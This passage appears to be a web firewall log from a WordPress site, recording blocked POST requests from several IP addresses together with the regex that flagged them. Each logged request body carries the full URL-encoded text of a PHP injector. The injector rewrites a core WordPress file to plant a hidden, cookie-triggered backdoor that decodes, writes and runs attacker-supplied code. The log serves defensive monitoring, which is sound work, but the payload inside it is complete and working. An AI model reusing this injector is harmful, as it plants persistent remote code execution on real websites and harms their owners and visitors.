%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\n\nEj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:14","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\n\ngb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:17","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:4351\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:42:21","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 